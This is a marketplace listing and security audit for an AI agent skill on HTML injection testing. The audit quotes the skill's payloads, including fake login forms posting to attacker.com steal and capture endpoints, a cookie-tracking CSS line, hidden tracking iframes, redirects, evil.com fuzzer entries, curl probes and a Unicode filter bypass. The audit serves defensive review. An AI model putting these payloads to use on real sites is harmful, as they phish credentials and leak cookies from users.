Skills html-injection-testing
📦
html-injection-testing
Content revision r2 Critical ⚡ Contains scripts⚙️ External commands🌐 Network access
Test Web Applications for HTML Injection
Unsanitized input can alter pages, mislead users, and expose credentials. This skill guides authorized HTML injection testing, impact assessment, and remediation reporting.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "html-injection-testing" from https://skillstore.io/skills/sickn33-html-injection-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-html-injection-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "html-injection-testing". Assess the search parameter on our authorized staging site using harmless payloads.
Expected outcome:
- Result: A heading marker rendered in the response and changed page structure.
- Classification: Reflected HTML injection; no script execution was observed.
- Recommendation: Apply contextual output encoding and add a regression test.
Using "html-injection-testing". Review a profile biography field for stored HTML injection.
Expected outcome:
- Result: The marker persisted and appeared for another authorized test account.
- Impact: Stored content can mislead users and alter trusted page elements.
- Recommendation: Sanitize permitted markup and encode all other content during rendering.
Using "html-injection-testing". Explain how to fix a confirmed unsafe browser rendering path.
Expected outcome:
Use text rendering for plain content. When markup is required, apply an allowlist sanitizer and verify the result with regression tests.
Security Audit
Criticalv5 • 7/24/2026 Open versioned report
The script and shell alerts are false positives caused by fenced examples and defensive snippets. The documented requests, external resources, and encoding bypass create real network, evasion, and data-capture risks. The skill provides critical phishing guidance plus high-risk defacement, tracking, filter-evasion, and automated probing despite its authorized-use notice.
1
Files scanned
505
Lines analyzed
29
Review items
0
False positives ignored
Confirmed security concerns (3)
Critical
Credential Phishing and Exfiltration Guidance
The skill provides fake login overlays, credential-collection forms, and encoded phishing links that submit usernames and passwords to attacker-controlled endpoints. An authorization notice does not technically prevent misuse.
The section is titled phishing attack construction and explicitly includes username, password, capture, and steal form actions.
High
Defacement, Tracking, and Filter-Evasion Workflow
The skill explains full-page defacement, hidden tracking, redirects, filter bypasses, and automated payload delivery. These instructions can support unauthorized disruption or covert probing.
The cited sections explicitly label defacement, advanced injection, bypass techniques, and an automated fuzzer that sends crafted requests.
Medium
Unicode escape sequence
\u003ch1\u003eUnicode\u003c/h1\u003e
This Unicode encoding appears under bypass techniques and is explicitly intended to evade basic filters. The context makes it actionable evasion guidance.
Capability review items (29)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
High
Hardcoded URL
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
The payload presents an external phishing URL under trusted-looking link text. Its purpose is to misdirect users to an attacker-controlled login page.
High
Hardcoded URL
<form action="http://attacker.com/steal" method="POST">
The injected form submits username and password fields to an external steal endpoint. This is explicit credential-exfiltration behavior if deployed.
High
Hardcoded URL
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
The reflected payload embeds a form action that sends data to an external steal endpoint. It combines injection delivery with credential-exfiltration intent.
High
Hardcoded URL
<form action="http://attacker.com/capture" method="POST">
The fake session-expiry form submits usernames and passwords to an external capture endpoint. The surrounding section explicitly constructs a phishing attack.
High
Hardcoded URL
<form action="http://attacker.com/steal" method="POST">
The form submits user and password fields to an external steal endpoint. This is direct credential collection and exfiltration guidance.
High
Hardcoded URL
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%2
The encoded URL contains a full-screen phishing form with an external capture action. It is presented as a shareable phishing link.
High
Hardcoded URL
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
The meta-refresh payload redirects users to an external phishing endpoint. This is a direct user-redirection risk when injected.
High
Hardcoded URL
<form action="http://attacker.com/steal">
The payload overrides a form action with an external steal endpoint. If injected into a form context, submitted user data can be exfiltrated.
Medium
Python HTTP libraries
response = requests.get(url, timeout=5)
The example fuzzer directly issues GET requests for every payload. Running it creates repeated active network traffic without target validation or rate limiting.
Medium
Hardcoded URL
<a href="http://attacker.com">Legitimate Link</a>
The link disguises an external destination as a legitimate link. If used in an injection test, it demonstrates a realistic phishing redirect.
Medium
Hardcoded URL
http://target.com/register
This URL receives a scripted POST containing an XSS payload in the preceding command. Executing the example actively probes a target application.
Medium
Hardcoded URL
input { background: url('http://attacker.com/log?data=') }
The CSS payload references an external logging endpoint from an input background. Rendering it can trigger covert outbound requests, even though this exact form may not capture field values.
Medium
Hardcoded URL
<img src="http://attacker.com/defaced.jpg"
The full-page defacement payload loads an image from an external domain. Rendering it creates outbound traffic and replaces the visible application.
Medium
Hardcoded URL
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
The CSS example intends to send cookie data to an external tracking endpoint. The shown concatenation may be ineffective CSS, but its exfiltration intent is explicit.
Medium
Hardcoded URL
<div style="background:url('http://attacker.com/log')">Content</div>
The injected style loads a background from an external logging endpoint. Rendering the payload can create a covert tracking request.
Medium
Hardcoded URL
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
The iframe payload embeds external content labeled malicious. Rendering it creates a third-party request and can present attacker-controlled content.
Medium
Hardcoded URL
<iframe src="http://attacker.com/track" style="display:none"></iframe>
The invisible iframe loads an external tracking endpoint. Its hidden presentation makes the outbound request covert.
Medium
Hardcoded URL
target = "http://target.com/search"
This public-looking URL is the target used by the executable fuzzing script. The loop sends multiple crafted requests to it without an allowlist check.
Medium
Hardcoded URL
"<a href='http://evil.com'>Click</a>",
This external link is included in the automated fuzzer payload list. Reflection can place a deceptive attacker-controlled destination into the tested page.
Medium
Hardcoded URL
"<iframe src='http://evil.com'></iframe>",
This external iframe is included in the automated fuzzer payload list. Successful reflection can cause browsers to load attacker-controlled content.
Low
Hardcoded URL
<a href="http://attacker.com">Click Here</a>
The example link points to a non-reserved external domain. Rendering or following the payload can contact a third party, although the text presents it as a test example.
Low
Hardcoded URL
<img src="http://attacker.com/image.png">
The image payload loads a resource from a non-reserved external domain when rendered. This creates outbound traffic beyond a purely local demonstration.
Low
Hardcoded URL
curl "http://target.com/search?q=<h1>Test</h1>"
This is an executable curl probe against a public-looking target URL. Running the documented command produces active network traffic.
Low
Hardcoded URL
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
This curl pipeline actively requests a target and inspects its response for reflected markup. Authorization is stated in prose but not enforced.
Low
Hardcoded URL
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
This executable curl example sends an encoded injection payload to a target URL. It creates active network traffic when followed.
Low
Hardcoded URL
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
The URL is a ready-to-use reflected injection probe against a public-looking target. Following it sends active traffic and displays deceptive content if vulnerable.
Low
Hardcoded URL
http://target.com/submit
This URL is the destination of the preceding executable POST injection command. Running that example actively modifies data submitted to a target application.
Low
Hardcoded URL
http://target.com/page/<h1>Injected</h1>
The URL embeds an injection payload directly in a target path. Requesting it is an active probe rather than a local-only example.
Low
Hardcoded URL
http://target.com/users/<img src=x>/profile
The URL places an image tag in a target path for reflection testing. Requesting it creates active network traffic against the named target.
Risk Factors
⚡ Contains scripts (2)
⚙️ External commands (50)
SKILL.md:45-58 SKILL.md:58-75 SKILL.md:75-86 SKILL.md:86-89 SKILL.md:89-100 SKILL.md:100-106 SKILL.md:106-126 SKILL.md:126-129 SKILL.md:129-138 SKILL.md:138-146 SKILL.md:146-161 SKILL.md:161-167 SKILL.md:167-173 SKILL.md:173-179 SKILL.md:179-187 SKILL.md:187-193 SKILL.md:193-199 SKILL.md:199-205 SKILL.md:205-229 SKILL.md:229-232 SKILL.md:232-234 SKILL.md:234-240 SKILL.md:240-262 SKILL.md:262-268 SKILL.md:268-278 SKILL.md:278-282 SKILL.md:282-288 SKILL.md:288-292 SKILL.md:292-299 SKILL.md:299-303 SKILL.md:303-309 SKILL.md:309-315 SKILL.md:315-340 SKILL.md:340-346 SKILL.md:346-354 SKILL.md:354-358 SKILL.md:358-363 SKILL.md:363-367 SKILL.md:367-398 SKILL.md:398-404 SKILL.md:404-413 SKILL.md:413-415 SKILL.md:415-423 SKILL.md:423-425 SKILL.md:425-435 SKILL.md:435-449 SKILL.md:449-450 SKILL.md:450-451 SKILL.md:451-452 SKILL.md:452-453
🌐 Network access (29)
SKILL.md:391 SKILL.md:120 SKILL.md:121 SKILL.md:124 SKILL.md:131 SKILL.md:134 SKILL.md:137 SKILL.md:151 SKILL.md:156 SKILL.md:169 SKILL.md:172 SKILL.md:182 SKILL.md:186 SKILL.md:195 SKILL.md:198 SKILL.md:211 SKILL.md:222 SKILL.md:224 SKILL.md:233 SKILL.md:255 SKILL.md:271 SKILL.md:277 SKILL.md:284 SKILL.md:294 SKILL.md:305 SKILL.md:308 SKILL.md:372 SKILL.md:380 SKILL.md:383
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-html-injection-testing/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-html-injection-testing?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-html-injection-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-html-injection-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-html-injection-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
zebbern. (2026). html-injection-testing security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-html-injection-testing/audits/5BibTeX citation
@techreport{zebbern-sickn33-html-injection-testing-2026,
author = {zebbern},
title = {html-injection-testing security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-html-injection-testing/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "html-injection-testing security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-24"
url: "https://skillstore.io/skills/sickn33-html-injection-testing/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-html-injection-testing:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
71
Community
78
Spec Compliance
What You Can Build
Validate a Staging Application
Check authorized inputs for reflected or stored HTML rendering and document reproducible evidence.
Review Output Handling
Compare vulnerable rendering paths with contextual encoding and sanitization controls.
Build Regression Coverage
Turn confirmed injection cases into controlled security tests with harmless markers.
Try These Prompts
Basic Reflection Check
Review parameter [name] on this authorized staging URL for reflected HTML injection. Use harmless formatting tags and report evidence without changing stored data.
Stored Input Assessment
Assess [profile field] in the authorized test account for stored HTML injection. Use a visible marker, record persistence, and avoid credential forms.
Impact and Remediation Review
Analyze the confirmed HTML injection at [location]. Explain realistic impact, distinguish it from XSS, and propose contextual output encoding and validation.
Controlled Coverage Plan
Create an authorized HTML injection test plan for [application]. Cover reflected, stored, path, header, and encoding contexts with rate limits and stop conditions.
Best Practices
- Obtain written authorization and define target scope, rate limits, and stop conditions before testing.
- Begin with harmless visual markers and escalate impact validation only when the assessment requires it.
- Record the request, response, browser behavior, context, persistence, and remediation evidence for every confirmed finding.
Avoid
- Do not test public systems, production users, or third-party domains without explicit authorization.
- Do not collect credentials, cookies, personal data, or session tokens during proof-of-concept testing.
- Do not classify simple reflection as exploitable until browser rendering and output context are verified.
Frequently Asked Questions
How is HTML injection different from XSS?
HTML injection changes rendered markup. XSS executes script, although unsafe HTML contexts can sometimes lead to XSS.
Does reflected input prove a vulnerability?
No. Confirm that the browser interprets input as markup and that contextual encoding does not neutralize it.
Can this skill test production systems?
Only with explicit written authorization, defined scope, approved payloads, rate limits, and rollback procedures.
Which payload should a test begin with?
Use a harmless formatting marker that makes no network request and collects no data.
What evidence should a report include?
Include the input location, sanitized request details, response behavior, browser result, persistence, impact, and recommended fix.
How should developers remediate HTML injection?
Use contextual output encoding by default. When markup is required, sanitize with a maintained allowlist library and test every rendering context.
Developer Details
Author
zebbernLicense
MIT
Skillstore revision
r2
Version notice
The author did not declare a version.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/html-injection-testingRef
88a8e9a07f4c54ab105c1c41b6267c287146b07b
Maintenance freshness
7/26/2026
Usage
9 downloads · 253 views
File structure
📄 SKILL.md